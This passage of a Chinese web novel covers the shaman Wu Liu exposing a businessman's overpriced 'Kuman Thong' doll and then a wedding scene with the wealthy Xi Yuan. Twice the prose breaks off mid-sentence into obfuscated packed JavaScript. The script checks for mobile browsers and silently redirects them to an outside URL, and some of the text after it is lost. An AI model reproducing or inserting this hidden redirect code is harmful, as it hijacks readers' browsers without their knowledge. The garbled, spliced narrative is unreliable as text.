“叔叔说得对。”郝大哥附和了几句,适当地拍了拍未来老丈人的马屁。 杨晁对郝大哥的印象不错,能让大巫认可的朋友,一定有他的过人之处,听到对方是个健身博主,他还想让郝大哥带带杨思博,让他帮忙锻炼一下。 郝大哥连忙答应下来:“思博太瘦了,看着很不健康,跟我一起锻炼的话,不出三个月应该就能恢复以前的身材。” 杨思博还在跟邬柳探讨要怎么流量变现,突然听到郝大哥喊的这一声“思博”,给他喊懵了。 哥们,你谁啊? 我们好像第一次见,认识不到十分钟,怎么连“思博”都喊上了。 郝大哥灵光一闪,迅速找了个话题:“你不是想当旅游探店博主吗?我们塔塔村最近开发了不少森林探险的项目,很多探险类型的博主都来我们这打卡了,你也可以去试试。” 杨思博:“塔塔村?” 郝大哥点点头:“而且大巫也住塔塔村,你不是有事要找他吗?” 杨思博:“好啊,那加个微信吧?你们什么时候回塔塔村记得叫上我。” 郝大哥:“没问题。” 邬柳在旁边停了半晌,一脸震惊。 郝大哥这小子打小就聪明。 今晚的饭局还请了樊永年和先前那几个老伙计,樊永年还把妻儿都带过来了,整个包间坐满了人。 樊永年热情地给邬柳介绍了自己的家人,还带了礼品,再次向他郑重道谢。 邬柳见他的气色很好,春风满面,也不禁跟着笑了笑。 赵华茂姗姗来迟,他们都已经吃上了,他才赶了过来。 杨晁:“小赵今天这么晚啊。” 赵华茂尴尬地笑了笑:“路上塞车,所以就晚了点。” 邬柳从赵华茂进门的那一刻开始就在暗戳戳地盯着他看,他留意到小冤种老板的状态似乎越来越不好了。 上次见到赵华茂时,他的气色不太好,但也不像现在一脸灰败颓废的样子,看着他的印堂发黑,面色土黄,像被人吸干了精血一样,看着有点诡异。 樊永年给他倒了杯茶水,刚想打个招呼,看着他蜡黄的脸吓了一跳:“你没事吧?” 赵华茂勉强地笑了笑:“没事,就是昨晚没睡好,一会回去睡个觉就好了。” 樊永年半信半疑,通宵也不至于把自己搞成这副鬼样子吧,但他也不好多说什么,只是劝了句:“你要是身体不舒服就找大巫看看吧。” 赵华茂顿了顿,说:“我也打算让大巫帮我调理一下身体,等一会饭局结束后,我找大巫聊聊。” 邬柳注意到他们俩的谈话,扬唇笑了笑:“没问题。” 不知道是不是他上次啃螃蟹的样子被杨晁注意到了,这次他点了好几个螃蟹做的菜,甚至还贴心地问他要不要打包。 邬柳:(O﹃O) 杨晁这老小孩,就很上道! 饭局结束后,郝大哥很自然地就拐走了杨思博,说要跟他策划一期森林探险vlog。 杨晁笑着向两人摆了摆手:“去吧。” 在他们走后,杨晁连忙问邬柳:“去原始森林探险风险大不大?安全吗?这地方能去吗?” 邬柳:“风险不大,安全,能去。” 上次他打电话给工作人员投诉了之后,现在森林里面很多地方都装上了指示牌,哪怕偏离了路线,也能顺着方向牌的指引走回正道。 只要在安全区内就是安全的,要是有人不怕死非要闯入森林腹地,那就给他准备好后事吧。 邬柳:“郝大哥阳气重,气场正,思博跟他在一起会很舒服,你可以放心。” 杨晁听后松了口气,但并没有完全放下心来,反而忧心忡忡地看着他们的背影,神色有些犹豫:“我还是有点担心……” 邬柳:“担心什么?” “思博他...”杨晁欲言又止,最后还是咬咬牙,选择了坦白:“思博喜欢男孩子,我并不反对他跟男生交往,我只是担心他被骗,可郝大哥看起来是个好孩子,虽然相处的时间不长,但也能看出来他为人处世比思博要成熟许多,性格好,人也看着挺老实的,我是很放心他跟思博交朋友,但我担心郝大哥看不上我们家思博。” 邬柳的笑容凝固在脸上,后槽牙都要咬碎了。 郝大哥命真好啊!好到他都要嫉妒了!人生怎么能这么顺利! 包间的朋友陆陆续续离开了,就剩下赵华茂和邬柳。 邬柳没说话,只是静静地看着他,渐渐地有些不耐烦了。 赵华茂内心闪过挣扎,低着头,不知道在想什么。 周遭的空气陷入了死一般的沉寂。 邬柳觉得没趣,只丢下一句:“没事的话,我就先走了。” 他的钱包开始想念席远了。 想念席远那种二话不说直接掏付款码的爽快。 想念席远给他的巨额小费。 想念席远明知道他是黑店还一次次回购。 赵华茂见他要离开,连忙拦住他的脚步,小心翼翼地看了他一眼:“您知道的吧?我养古曼童这件事。” 上次他们吃饭的时候聊到古曼童,邬柳看他的那一眼,让他有种无所遁形的感觉。 邬柳抱着双臂,淡漠地笑了笑:“那你怎么现在不想养了?” 赵华茂像泄了气的气球瘫坐在椅子上,双眼浑浊,疲惫不堪地轻轻叹了口气:“正常人谁会想养这种东西啊。” 他是做连锁餐饮业的,18、19年的时候,生意红红火火,他也在不少地区开了分店,没想到20年疫情给了他重重一击。 尤其是当时他还有几个分店准备开业,他前期忙了大半年,花费了很多心思培养员工,请了明星代言,跟不少网红都谈好了合作,光是营销的费用就花了不少,结果,全国各地因为疫情实行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵华茂没有犹豫,直接说了这么一句话:“没有什么比我妻子身体健康更重要。” 邬柳:“你把它带来了吗?” 赵华茂小心地把用红布包裹的那个瓷娃娃从包里拿了出来。 邬柳掀开那块红布看了看,瓷娃娃画得很讨喜,挺可爱的,他把红布重新盖上,说:“把你家的地址给我,明天我会过去一趟把脏东西清理掉。” 听到“脏东西”三个字,赵华茂下意识地看了眼桌上的娃娃。 邬柳:“我说的脏东西不是它,是你招引来的其他阴邪之物。” 赵华茂养的这古曼童,其实里面并没有小鬼,它只是普普通通一个瓷娃娃。 也不知道那位泰国高僧收了他多少钱,他和樊永年、席远,这几个冤大头都应该下载国家反诈APP。 他给赵华茂算过,他的事业运起起落落,并非一帆风顺,中年时期,事业受阻,到五六十岁的时候才会真正迎来他的事业黄金期。 他虽然没养真正的古曼童,但是他照着古曼童那一套去给一个瓷娃娃供奉,也招来了不少阴灵。 他的妻子怀孕后母体虚弱,当然没办法在这种环境下安心养胎。 赵华茂是被自己吓的,在他心里面,他是因为古曼童才拥有了现在的一切,他把自己的努力、时机、运气、成功等等都归功于古曼童身上。 在这种精神负担下,他越来越否定自己所努力得到的一切。 邬柳真诚地提出建议:“你需要去看看心理医生。” 赵华茂听后笑了笑:“我爱人也是这样跟我说的。” 在临走前,邬柳还是没忍住问了一嘴:“你这瓷娃娃花了多少钱买的?” 赵华茂:“我记得是十八万吧。” 邬柳:“???” 下次再有人说他是黑店的话,他就要生气了! 一个瓷娃娃,义乌十块钱能给你掏个一模一样的,居然卖十八万?! 他做人还是太有良心了。 这一单他只收了十五万,还没有那个瓷娃娃贵。 这合理吗? 13.第 13 章 教堂被鲜花和白烛点缀,铺了满地。 暗黄的烛光在悠扬的小提琴曲下显得格外浪漫。 馥郁的香气蔓延在整个古堡中。 当圣咏响起时,所有宾客的目光聚焦在门口,等待着那扇大门打开。 新娘穿着洁白的婚纱,挽着父亲的手缓缓走进教堂,一步步来到十字架下的新郎身边。 新娘的父亲抹了抹眼角的泪痕,将女儿挽着他的手轻轻放在新郎手上,然后用力握紧了新郎新娘十指相握的手,再默默退场。 邬柳身穿牧师白袍,站在这对新人面前,微微一笑:“请问新郎你好帅先生,你是否愿意娶真善美小姐为你的合法妻子,并当众发誓无论富贵贫穷,无论健康疾病,都将永远爱她,呵护她,并忠诚于她决不抛弃,直到生命的最后一刻,永远爱她,一生一世,你愿意吗?” “我愿意。” 邬柳:“请问新娘真善美小姐,你是否愿意嫁给你好帅先生为你的合法丈夫,并当众发誓无论富贵贫穷,无论健康疾病,都将永远爱他,呵护他,并忠诚于他决不抛弃,直到生命的最后一刻,永远爱他,一生一世,你愿意吗?” “我愿意。” 邬柳满意地点了点头:“那么,新郎你好帅先生,你可以亲吻你的新娘了。” 整个教堂里承载着新人的幸福和甜蜜,喜悦和感动的氛围飘散在每一个角落。 结束仪式后,邬柳回到了后台的休息室,他刚伸了下懒腰,就听到一道熟悉的声音从身后传来: “没想到大巫竟然还有牧师这一层身份。” 邬柳没想到会在这里遇见他的大冤种老板,“你怎么在这?” 席远从怀里掏出那张邀请函在邬柳面前晃了晃,说道:“自然是受邀来参加朋友的婚礼,倒是在这里看见大巫让我有点惊讶。” 邬柳:“跨界发展,兼职而已。” 席远直勾勾地看着他,眉眼间绽开点点笑意:“每次看见大巫,都让我感到很惊喜。” 邬柳点点头:“每次看见你,我也很惊喜。” 席远愣了一下,唇边的笑容渐盛,看上去心情很愉悦:“真的?” 邬柳:“自然是真的。” 每次看见席远,就代表他的钱包又该进账了,这能不高兴吗? 席远:“婚礼已经结束了,有兴趣一起喝一杯吗?” 邬柳:“现在?” 席远:“难道大巫还有门禁?或者……” “小心!”邬柳握着他的手,迅速地将他拽到自己身边来。 “嘭”的一声,天花板上的水晶吊灯砸了下来,落在席远刚才站的那个位置上,水晶灯碎了一地。 席远脸色微微发白,下意识地后退一步,靠在了邬柳身上。 邬柳扶着他的腰,若有所思地看向天花板的洞坑,“你没事吧?” 席远扶着桌子往旁边站了站,小声地说了句:“抱歉。” 邬柳一把握住他的手,看着他光秃秃的手腕,脸色微沉:“我给你送的手串呢?” 席远的目光落在他葱白有力的手指上,那样微凉又柔软的触感,让他想起在塔塔村那时,邬柳也是这样握着他的手,一种微妙的情愫在他心底里蔓延,悄然滋长。 邬柳见他一直没说话,便顺着他的视线看向了自己的手。 四目相对,他抬眸撞进席远那双隐晦不明的眼眸里,他身体一僵,尴尬地收回了手。 席远垂下的眉眼里,敛去几分遗憾的神色,从口袋里掏出一个锦囊,说:“你给我的手串前段时间不知怎么的,绳子断开了,珠子散了一地,我把它们全部捡回来了。” 邬柳打开锦囊看了看,捻起其中一颗佛珠看了看,上面还有几道细微的裂痕。 席远:“我本来打算去塔塔村找你帮忙的,看能不能把手串修好,没想到会在这里遇见了你。” 邬柳把佛珠放了回去,踢了一脚地上的碎片,无奈道:“这珠子已经坏了,修不好了。” “可惜。”席远把锦囊放回了口袋里,瞥了一眼地上的吊灯碎片,余光扫过邬柳的腿时,看到了他的裤腿上沾了一团血迹,他猛地掀起邬柳的裤脚,果然看到邬柳的小腿上多了道伤痕,是被吊灯的碎片划伤的。 邬柳僵硬地看着他,眨了眨眼:“你在干什么?” 席远拧着眉头看他:“你的腿受伤了。” “不要紧的。”邬柳丝毫不在意那道小伤口,反而看向了脸色苍白的席远,再次握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472433|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的手腕,给他诊脉。 脉象沉细无力,主阳气虚衰。 邬柳松开了他的手,刚想让他去抓点药,却看见席远蹲在地上,用手帕轻轻擦拭着他小腿上的伤口。 他的神情是邬柳从未见过的严肃和认真,那副小心翼翼的模样让邬柳心里有一瞬间的混乱。 席远微冷的指尖偶尔会触碰到他的肌肤,触电般的感觉在他的体内迅速蔓延,他压下心头的异样,不知所措地缩了缩腿。 那是一种很特别的感觉,像风轻轻吹动书页,像羽毛扫过手心,像花瓣飘落脸上,动作很轻,却让人反复回味那个瞬间。 邬柳从未在其他人身上感受到这种打破秩序边界的感觉。 席远用一种强势又极其张扬的姿态,撕开了他心里那堵墙,让热烈的阳光从缝隙里洒了进来。 秩序被打破的新奇感和内心无法掌控的情绪同步而来,惊喜和恐惧交织。 邬柳低头对上席远那双温柔的眼睛,他攥紧了指尖,心脏仿佛跳得更快了。 席远:“我去找工作人员拿一下药箱,你坐在这里等我好吗?” 邬柳想开口挽留,话到嘴边却怎么也说不出口,只能眼睁睁地看着席远离开,他原本是想告诉席远,不用那么麻烦的,他的伤口并不深,说不定一会就愈合了。 席远带着药箱回来的时候,邬柳已经趴在桌子上睡着了。 他蜷缩在椅子一角,身上的白袍宽大得像张被子盖在他的身上。 窗外的冷风灌进来,邬柳下意识地搂紧了身上的白袍。 席远脚步轻轻地走了过来,蹲在邬柳跟前,悄悄打量着他的睡颜,几根青丝落在他的脸上,席远心里有一股莫名的痒意,他伸手想要拨开那几根发丝,还没等他触碰到对方,邬柳已经从睡梦中清醒过来,静静地看着他。 席远的手僵在半空中。 昏暗的灯光让两人之间的氛围变得暧昧。 席远最终还是收回了手,他把药箱打开,用酒精轻轻擦拭着邬柳腿上的伤口,他的声音低沉,微哑的声调听起来分外撩人:“会有点疼。” 邬柳并不觉得疼,只是盯着他那双漂亮又干净的手在发呆。 “你还想要买手串吗?”